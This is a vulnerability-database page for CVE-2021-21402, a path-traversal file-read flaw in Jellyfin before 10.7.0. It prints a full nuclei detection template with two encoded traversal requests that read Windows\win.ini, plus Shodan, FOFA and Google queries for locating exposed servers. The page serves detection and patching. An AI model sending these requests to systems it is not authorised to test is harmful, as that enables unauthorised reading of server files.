HexBrain

Browse / CVEs / CVE-2021-21402

CVE-2021-21402· jellyfin / jellyfin· CWE-22

Jellyfin <10.7.0 - Local File Inclusion

mediumseverity
6.5CVSS score
79.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Jellyfin before 10.7.0 is vulnerable to local file inclusion. This issue is more prevalent when Windows is used as the host OS. Servers exposed to public Internet are potentially at risk.

Impact

Successful exploitation could allow an attacker to read sensitive files on the server.

Fix

This is fixed in version 10.7.1.

How to confirm it

Send: GET {{BaseURL}}/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ ; GET {{BaseURL}}/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/
Positive when: contains in header "Content-Type: application/octet-stream" AND matches /\[(font|extension|file)s\]/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-21402 -u <target>

The full check
id: CVE-2021-21402

info:
  name: Jellyfin <10.7.0 - Local File Inclusion
  author: dwisiswant0
  severity: medium
  description: |
    Jellyfin before 10.7.0 is vulnerable to local file inclusion. This issue is more prevalent when Windows is used as the host OS. Servers exposed to public Internet are potentially at risk.
  impact: |
    Successful exploitation could allow an attacker to read sensitive files on the server.
  remediation: This is fixed in version 10.7.1.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/
    - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx
    - https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1
    - https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21402
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-21402
    cwe-id: CWE-22
    epss-score: 0.79313
    epss-percentile: 0.99604
    cpe: cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: jellyfin
    product: jellyfin
    shodan-query:
      - http.html:"Jellyfin"
      - http.html:"jellyfin"
      - http.title:"jellyfin"
    fofa-query:
      - title="Jellyfin" || body="http://jellyfin.media"
      - title="jellyfin"
      - body="jellyfin"
      - title="jellyfin" || body="http://jellyfin.media"
    google-query: intitle:"jellyfin"
  tags: cve,cve2021,jellyfin,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
      - "{{BaseURL}}/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Content-Type: application/octet-stream"

      - type: regex
        part: body
        regex:
          - "\\[(font|extension|file)s\\]"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from